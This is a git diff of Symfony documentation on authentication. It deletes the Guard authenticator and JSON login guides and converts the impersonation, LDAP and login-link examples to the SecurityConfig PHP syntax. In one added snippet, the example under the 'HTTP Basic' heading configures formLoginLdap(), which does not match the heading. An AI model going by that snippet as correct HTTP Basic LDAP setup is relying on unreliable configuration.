-                <firewall name="main" pattern="^/" anonymous="true" lazy="true">
-                    <logout/>
-
-                    <guard>
-                        <authenticator>App\Security\TokenAuthenticator</authenticator>
-                    </guard>
-
-                    <!-- ... -->
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-
-        // ...
-        use App\Security\TokenAuthenticator;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main'       => [
-                    'pattern'        => '^/',
-                    'anonymous'      => true,
-                    'lazy'           => true,
-                    'logout'         => true,
-                    'guard'          => [
-                        'authenticators'  => [
-                            TokenAuthenticator::class,
-                        ],
-                    ],
-                    // if you want, disable storing the user in the session
-                    // 'stateless' => true,
-                    // ...
-                ],
-            ],
-        ]);
-
-You did it! You now have a fully-working API token authentication system. If your
-homepage required ``ROLE_USER``, then you could test it under different conditions:
-
-.. code-block:: terminal
-
-    # test with no token
-    curl http://localhost:8000/
-    # {"message":"Authentication Required"}
-
-    # test with a bad token
-    curl -H "X-AUTH-TOKEN: FAKE" http://localhost:8000/
-    # {"message":"Username could not be found."}
-
-    # test with a working token
-    curl -H "X-AUTH-TOKEN: REAL" http://localhost:8000/
-    # the homepage controller is executed: the page loads normally
-
-Now, learn more about what each method does.
-
-.. _guard-auth-methods:
-
-The Guard Authenticator Methods
--------------------------------
-
-Each authenticator needs the following methods:
-
-**supports(Request $request)**
-    This is called on *every* request and your job is to decide if the
-    authenticator should be used for this request (return ``true``) or if it
-    should be skipped (return ``false``).
-
-**getCredentials(Request $request)**
-    Your job is to read the token (or whatever your "authentication" information is)
-    from the request and return it. These credentials are passed to ``getUser()``.
-
-**getUser($credentials, UserProviderInterface $userProvider)**
-    The ``$credentials`` argument is the value returned by ``getCredentials()``.
-    Your job is to return an object that implements ``UserInterface``. If you do,
-    then ``checkCredentials()`` will be called. If you return ``null`` (or throw
-    an :ref:`AuthenticationException <guard-customize-error>`) authentication
-    will fail.
-
-**checkCredentials($credentials, UserInterface $user)**
-    If ``getUser()`` returns a User object, this method is called. Your job is to
-    verify if the credentials are correct. For a login form, this is where you would
-    check that the password is correct for the user. To pass authentication, return
-    ``true``. If you return ``false``
-    (or throw an :ref:`AuthenticationException <guard-customize-error>`),
-    authentication will fail.
-
-**onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey)**
-    This is called after successful authentication and your job is to either
-    return a :class:`Symfony\\Component\\HttpFoundation\\Response` object
-    that will be sent to the client or ``null`` to continue the request
-    (e.g. allow the route/controller to be called like normal). Since this
-    is an API where each request authenticates itself, you want to return
-    ``null``.
-
-**onAuthenticationFailure(Request $request, AuthenticationException $exception)**
-    This is called if authentication fails. Your job
-    is to return the :class:`Symfony\\Component\\HttpFoundation\\Response`
-    object that should be sent to the client. The ``$exception`` will tell you
-    *what* went wrong during authentication.
-
-**start(Request $request, AuthenticationException $authException = null)**
-    This is called if the client accesses a URI/resource that requires authentication,
-    but no authentication details were sent. Your job is to return a
-    :class:`Symfony\\Component\\HttpFoundation\\Response` object that helps
-    the user authenticate (e.g. a 401 response that says "token is missing!").
-
-**supportsRememberMe()**
-    If you want to support "remember me" functionality, return ``true`` from this method.
-    You will still need to activate ``remember_me`` under your firewall for it to work.
-    Since this is a stateless API, you do not want to support "remember me"
-    functionality in this example.
-
-**createAuthenticatedToken(UserInterface $user, string $providerKey)**
-    If you are implementing the :class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`
-    instead of extending the :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`
-    class, you have to implement this method. It will be called
-    after a successful authentication to create and return the token (a
-    class implementing :class:`Symfony\\Component\\Security\\Guard\\Token\\GuardTokenInterface`)
-    for the user, who was supplied as the first argument.
-
-The picture below shows how Symfony calls Guard Authenticator methods:
-
-.. raw:: html
-
-    <object data="../_images/security/authentication-guard-methods.svg" type="image/svg+xml"></object>
-
-.. _guard-customize-error:
-
-Customizing Error Messages
---------------------------
-
-When ``onAuthenticationFailure()`` is called, it is passed an ``AuthenticationException``
-that describes *how* authentication failed via its ``$exception->getMessageKey()`` (and
-``$exception->getMessageData()``) method. The message will be different based on *where*
-authentication fails (i.e. ``getUser()`` versus ``checkCredentials()``).
-
-But, you can also return a custom message by throwing a
-:class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`.
-You can throw this from ``getCredentials()``, ``getUser()`` or ``checkCredentials()``
-to cause a failure::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    // ...
-
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        // ...
-
-        public function getCredentials(Request $request)
-        {
-            // ...
-
-            if ($token == 'ILuvAPIs') {
-                throw new CustomUserMessageAuthenticationException(
-                    'ILuvAPIs is not a real API key: it\'s just a silly phrase'
-                );
-            }
-
-            // ...
-        }
-
-        // ...
-    }
-
-In this case, since "ILuvAPIs" is a ridiculous API key, you could include an easter
-egg to return a custom message if someone tries this:
-
-.. code-block:: terminal
-
-    curl -H "X-AUTH-TOKEN: ILuvAPIs" http://localhost:8000/
-    # {"message":"ILuvAPIs is not a real API key: it's just a silly phrase"}
-
-.. _guard-manual-auth:
-
-Manually Authenticating a User
-------------------------------
-
-Sometimes you might want to manually authenticate a user - like after the user
-completes registration. To do that, use your authenticator and a service called
-``GuardAuthenticatorHandler``::
-
-    // src/Controller/RegistrationController.php
-    namespace App\Controller;
-    
-    // ...
-    use App\Security\LoginFormAuthenticator;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\Security\Guard\GuardAuthenticatorHandler;
-
-    class RegistrationController extends AbstractController
-    {
-        public function register(LoginFormAuthenticator $authenticator, GuardAuthenticatorHandler $guardHandler, Request $request)
-        {
-            // ...
-
-            // after validating the user and saving them to the database
-            // authenticate the user and use onAuthenticationSuccess on the authenticator
-            return $guardHandler->authenticateUserAndHandleSuccess(
-                $user,          // the User object you just created
-                $request,
-                $authenticator, // authenticator whose onAuthenticationSuccess you want to use
-                'main'          // the name of your firewall in security.yaml
-            );
-        }
-    }
-
-Avoid Authenticating the Browser on Every Request
--------------------------------------------------
-
-If you create a Guard login system that's used by a browser and you're experiencing
-problems with your session or CSRF tokens, the cause could be bad behavior by your
-authenticator. When a Guard authenticator is meant to be used by a browser, you
-should *not* authenticate the user on *every* request. In other words, you need to
-make sure the ``supports()`` method *only* returns ``true`` when
-you actually *need* to authenticate the user. Why? Because, when ``supports()``
-returns true (and authentication is ultimately successful), for security purposes,
-the user's session is "migrated" to a new session id.
-
-This is an edge-case, and unless you're having session or CSRF token issues, you
-can ignore this. Here is an example of good and bad behavior::
-
-    public function supports(Request $request)
-    {
-        // GOOD behavior: only authenticate (i.e. return true) on a specific route
-        return 'login_route' === $request->attributes->get('_route') && $request->isMethod('POST');
-
-        // e.g. your login system authenticates by the user's IP address
-        // BAD behavior: So, you decide to *always* return true so that
-        // you can check the user's IP address on every request
-        return true;
-    }
-
-The problem occurs when your browser-based authenticator tries to authenticate
-the user on *every* request - like in the IP address-based example above. There
-are two possible fixes:
-
-1. If you do *not* need authentication to be stored in the session, set
-   ``stateless: true`` under your firewall.
-2. Update your authenticator to avoid authentication if the user is already
-   authenticated:
-
-.. code-block:: diff
-
-    // src/Security/MyIpAuthenticator.php
-    // ...
-
-    + use Symfony\Component\Security\Core\Security;
-
-    class MyIpAuthenticator
-    {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
-    +     }
-
-        public function supports(Request $request)
-        {
-    +         // if there is already an authenticated user (likely due to the session)
-    +         // then return false and skip authentication: there is no need.
-    +         if ($this->security->getUser()) {
-    +             return false;
-    +         }
-
-    +         // the user is not logged in, so the authenticator should continue
-    +         return true;
-        }
-    }
-
-If you use autowiring, the ``Security``  service will automatically be passed to
-your authenticator.
-
-Frequently Asked Questions
---------------------------
-
-**Can I have Multiple Authenticators?**
-    Yes! But when you do, you'll need to choose only *one* authenticator to be your
-    "entry_point". This means you'll need to choose *which* authenticator's ``start()``
-    method should be called when an anonymous user tries to access a protected resource.
-    For more details, see :doc:`/security/multiple_guard_authenticators`.
-
-**Can I use this with form_login?**
-    Yes! ``form_login`` is *one* way to authenticate a user, so you could use
-    it *and* then add one or more authenticators. Using a guard authenticator doesn't
-    collide with other ways to authenticate.
-
-**Can I use this with FOSUserBundle?**
-    Yes! Actually, FOSUserBundle doesn't handle security: it only gives you a
-    ``User`` object and some routes and controllers to help with login, registration,
-    forgot password, etc. When you use FOSUserBundle, you typically use ``form_login``
-    to actually authenticate the user. You can continue doing that (see previous
-    question) or use the ``User`` object from FOSUserBundle and create your own
-    authenticator(s) (like in this article).
-
-.. _`Social Authentication`: https://github.com/knpuniversity/oauth2-client-bundle#authenticating-with-guard
-.. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 1269cbbdae1..f31474f238c 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -33,7 +33,7 @@ listener:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -55,16 +55,15 @@ listener:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => true,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+            ;
+        };
 
 To switch to another user, add a query string with the ``_switch_user``
 parameter and the username (or whatever field our user provider uses to load users)
@@ -170,7 +169,7 @@ also adjust the query parameter name via the ``parameter`` setting:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -191,19 +190,17 @@ also adjust the query parameter name via the ``parameter`` setting:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => [
-                        'role' => 'ROLE_ADMIN',
-                        'parameter' => '_want_to_be_this_user',
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+                    ->role('ROLE_ADMIN')
+                    ->parameter('_want_to_be_this_user')
+            ;
+        };
 
 Limiting User Switching
 -----------------------
@@ -229,7 +226,7 @@ be called):
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -250,23 +247,21 @@ be called):
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => [
-                        'role' => 'CAN_SWITCH_USER',
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+                    ->role('CAN_SWITCH_USER')
+            ;
+        };
 
 Then, create a voter class that responds to this role and includes whatever custom
 logic you want::
 
-    // src/Service/Voter/SwitchToCustomerVoter.php
+    // src/Security/Voter/SwitchToCustomerVoter.php
     namespace App\Security\Voter;
 
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
@@ -283,13 +278,13 @@ logic you want::
             $this->security = $security;
         }
 
-        protected function supports($attribute, $subject)
+        protected function supports($attribute, $subject): bool
         {
             return in_array($attribute, ['CAN_SWITCH_USER'])
                 && $subject instanceof UserInterface;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
         {
             $user = $token->getUser();
             // if the user is anonymous or if the subject is not a user, do not grant access
@@ -341,7 +336,7 @@ you switch users, add an event subscriber on this event::
 
     class SwitchUserSubscriber implements EventSubscriberInterface
     {
-        public function onSwitchUser(SwitchUserEvent $event)
+        public function onSwitchUser(SwitchUserEvent $event): void
         {
             $request = $event->getRequest();
 
@@ -354,7 +349,7 @@ you switch users, add an event subscriber on this event::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 // constant for security.switch_user
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
deleted file mode 100644
index 97c76e1ab8a..00000000000
--- a/security/json_login_setup.rst
+++ /dev/null
@@ -1,213 +0,0 @@
-How to Build a JSON Authentication Endpoint
-===========================================
-
-In this entry, you'll build a JSON endpoint to log in your users. When the
-user logs in, you can load your users from anywhere - like the database.
-See :ref:`security-user-providers` for details.
-
-First, enable the JSON login under your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    json_login:
-                        check_path: /login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <json-login check-path="/login"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'json_login' => [
-                        'check_path' => '/login',
-                    ],
-                ],
-            ],
-        ]);
-
-.. tip::
-
-    The ``check_path`` can also be a route name (but cannot have mandatory
-    wildcards - e.g. ``/login/{foo}`` where ``foo`` has no default value).
-
-The next step is to configure a route in your app matching this path:
-
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        // ...
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Request;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login", name="login", methods={"POST"})
-             */
-            public function login(Request $request)
-            {
-                $user = $this->getUser();
-
-                return $this->json([
-                    'username' => $user->getUsername(),
-                    'roles' => $user->getRoles(),
-                ]);
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/routes.yaml
-        login:
-            path:       /login
-            controller: App\Controller\SecurityController::login
-            methods: POST
-
-    .. code-block:: xml
-
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="POST"/>
-        </routes>
-
-    .. code-block:: php
-
-        // config/routes.php
-        use App\Controller\SecurityController;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-
-        return function (RoutingConfigurator $routes) {
-            $routes->add('login', '/login')
-                ->controller([SecurityController::class, 'login'])
-                ->methods(['POST'])
-            ;
-        };
-
-Now, when you make a ``POST`` request, with the header ``Content-Type: application/json``,
-to the ``/login`` URL with the following JSON document as the body, the security
-system intercepts the request and initiates the authentication process:
-
-.. code-block:: json
-
-    {
-        "username": "dunglas",
-        "password": "MyPassword"
-    }
-
-Symfony takes care of authenticating the user with the submitted username and
-password or triggers an error in case the authentication process fails. If the
-authentication is successful, the controller defined earlier will be called.
-
-If the JSON document has a different structure, you can specify the path to
-access the ``username`` and ``password`` properties using the ``username_path``
-and ``password_path`` keys (they default respectively to ``username`` and
-``password``). For example, if the JSON document has the following structure:
-
-.. code-block:: json
-
-    {
-        "security": {
-            "credentials": {
-                "login": "dunglas",
-                "password": "MyPassword"
-            }
-        }
-    }
-
-The security configuration should be:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    json_login:
-                        check_path:    login
-                        username_path: security.credentials.login
-                        password_path: security.credentials.password
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <json-login check-path="login"
-                        username-path="security.credentials.login"
-                        password-path="security.credentials.password"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'json_login' => [
-                        'check_path' => 'login',
-                        'username_path' => 'security.credentials.login',
-                        'password_path' => 'security.credentials.password',
-                    ],
-                ],
-            ],
-        ]);
diff --git a/security/ldap.rst b/security/ldap.rst
index ffbf5714b78..ff768969771 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -8,7 +8,7 @@ Symfony provides different means to work with an LDAP server.
 
 The Security component offers:
 
-* The ``ldap`` :doc:`user provider </security/user_provider>`, using the
+* The ``ldap`` :doc:`user provider </security/user_providers>`, using the
   :class:`Symfony\\Component\\Ldap\\Security\\LdapUserProvider`
   class. Like all other user providers, it can be used with any
   authentication provider.
@@ -70,6 +70,8 @@ An LDAP client can be configured using the built-in
         services:
             Symfony\Component\Ldap\Ldap:
                 arguments: ['@Symfony\Component\Ldap\Adapter\ExtLdap\Adapter']
+                tags:
+                    - ldap
             Symfony\Component\Ldap\Adapter\ExtLdap\Adapter:
                 arguments:
                     -   host: my-server
@@ -90,6 +92,7 @@ An LDAP client can be configured using the built-in
             <services>
                 <service id="Symfony\Component\Ldap\Ldap">
                     <argument type="service" id="Symfony\Component\Ldap\Adapter\ExtLdap\Adapter"/>
+                    <tag name="ldap"/>
                 </service>
                 <service id="Symfony\Component\Ldap\Adapter\ExtLdap\Adapter">
                     <argument type="collection">
@@ -112,7 +115,8 @@ An LDAP client can be configured using the built-in
         use Symfony\Component\Ldap\Ldap;
 
         $container->register(Ldap::class)
-            ->addArgument(new Reference(Adapter::class));
+            ->addArgument(new Reference(Adapter::class))
+            ->tag('ldap');
 
         $container
             ->register(Adapter::class)
@@ -126,6 +130,8 @@ An LDAP client can be configured using the built-in
                 ],
             ]);
 
+.. _security-ldap-user-provider:
+
 Fetching Users Using the LDAP User Provider
 -------------------------------------------
 
@@ -154,7 +160,7 @@ use the ``ldap`` user provider.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -179,22 +185,21 @@ use the ``ldap`` user provider.
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->provider('ldap_users')
+                ->ldap()
+                    ->service(Ldap::class)
+                    ->baseDn('dc=example,dc=com')
+                    ->searchDn('cn=read-only-admin,dc=example,dc=com')
+                    ->searchPassword('password')
+                    ->defaultRoles(['ROLE_USER'])
+                    ->uidKey('uid')
+                    ->extraFields(['email'])
+            ;
+        };
 
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'ldap_users' => [
-                    'ldap' => [
-                        'service' => Ldap::class,
-                        'base_dn' => 'dc=example,dc=com',
-                        'search_dn' => 'cn=read-only-admin,dc=example,dc=com',
-                        'search_password' => 'password',
-                        'default_roles' => 'ROLE_USER',
-                        'uid_key' => 'uid',
-                        'extra_fields' => ['email'],
-                    ],
-                ],
-            ],
-        ];
 
 .. caution::
 
@@ -376,7 +381,7 @@ Configuration example for form login
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -397,18 +402,15 @@ Configuration example for form login
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'form_login_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'uid={username},dc=example,dc=com',
-                        // ...
-                    ],
-                ],
-            ]
-        ];
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('uid={username},dc=example,dc=com')
+            ;
+        };
 
 Configuration example for HTTP Basic
 ....................................
@@ -431,7 +433,7 @@ Configuration example for HTTP Basic
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -454,20 +456,16 @@ Configuration example for HTTP Basic
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    'http_basic_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'uid={username},dc=example,dc=com',
-                    ],
-                    'stateless' => true,
-                ],
-            ],
-        ];
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->stateless(true)
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('uid={username},dc=example,dc=com')
+            ;
+        };
 
 Configuration example for form login and query_string
 .....................................................
@@ -493,7 +491,7 @@ Configuration example for form login and query_string
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -518,22 +516,21 @@ Configuration example for form login and query_string
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'form_login_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'dc=example,dc=com',
-                        'query_string' => '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))',
-                        'search_dn' => '...',
-                        'search_password' => 'the-raw-password',
-                    ],
-                ],
-            ]
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->stateless(true)
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('dc=example,dc=com')
+                    ->queryString('(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))')
+                    ->searchDn('...')
+                    ->searchPassword('the-raw-password')
+            ;
+        };
 
 .. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php
 .. _`RFC4515`: http://www.faqs.org/rfcs/rfc4515.html
 .. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection
+
diff --git a/security/login_link.rst b/security/login_link.rst
index b92dd694178..86406f9b316 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -14,10 +14,12 @@ This authentication method can help you eliminate most of the customer support
 related to authentication (e.g. I forgot my password, how can I change or reset
 my password, etc.)
 
-Login links are supported by Symfony when using the experimental
-authenticator system. You must
-:ref:`enable the authenticator system <security-enable-authenticator-manager>`
-in your configuration to use this feature.
+.. note::
+
+    Login links are only supported by Symfony when using the
+    :doc:`authenticator system </security>`. Before using this
+    authenticator, make sure you have enabled it with
+    ``enable_authenticator_manager: true`` in your ``security.yaml`` file.
 
 Using the Login Link Authenticator
 ----------------------------------
@@ -67,15 +69,14 @@ under the firewall. You must configure a ``check_route`` and
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+            ;
+        };
 
 The ``signature_properties`` are used to create a signed URL. This must
 contain at least one property of your ``User`` object that uniquely
@@ -107,6 +108,23 @@ intercept requests to this route:
                 throw new \LogicException('This code should never be reached');
             }
         }
+        
+    .. code-block:: php-attributes
+    
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            #[Route('/login_check', name: 'login_check')]
+            public function check()
+            {
+                throw new \LogicException('This code should never be reached');
+            }
+        }
 
     .. code-block:: yaml
 
@@ -373,17 +391,16 @@ seconds). You can customize this using the ``lifetime`` option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        // lifetime in seconds
-                        'lifetime' => 300,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    // lifetime in seconds
+                    ->lifetime(300)
+            ;
+        };
 
 .. _security-login-link-signature:
 
@@ -401,7 +418,7 @@ The signed URL contains 3 parameters:
     The UNIX timestamp when the link expires.
 
 ``user``
-    The value returned from ``$user->getUsername()`` for this user.
+    The value returned from ``$user->getUserIdentifier()`` for this user.
 
 ``hash``
     A hash of ``expires``, ``user`` and any configured signature
@@ -448,16 +465,15 @@ You can add more properties to the ``hash`` by using the
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        'signature_properties' => ['id', 'email'],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->signatureProperties(['id', 'email'])
+            ;
+        };
 
 The properties are fetched from the user object using the
 :doc:`PropertyAccess component </components/property_access>` (e.g. using
@@ -521,20 +537,20 @@ cache. Enable this support by setting the ``max_uses`` option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        // only allow the link to be used 3 times
-                        'max_uses' => 3,
-
-                        // optionally, configure the cache pool
-                        //'used_link_cache' => 'cache.redis',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+
+                    // only allow the link to be used 3 times
+                    ->maxUses(3)
+
+                    // optionally, configure the cache pool
+                    //->usedLinkCache('cache.redis')
+            ;
+        };
 
 Make sure there is enough space left in the cache, otherwise invalid links
 can no longer be stored (and thus become valid again). Expired invalid
@@ -594,17 +610,16 @@ the authenticator only handle HTTP POST methods:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        'check_post_only' => true,
-                        'max_uses' => 1,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->checkPostOnly(true)
+                    ->maxUses(1)
+            ;
+        };
 
 Then, use the ``check_route`` controller to render a page that lets the
 user create this POST request (e.g. by clicking a button)::
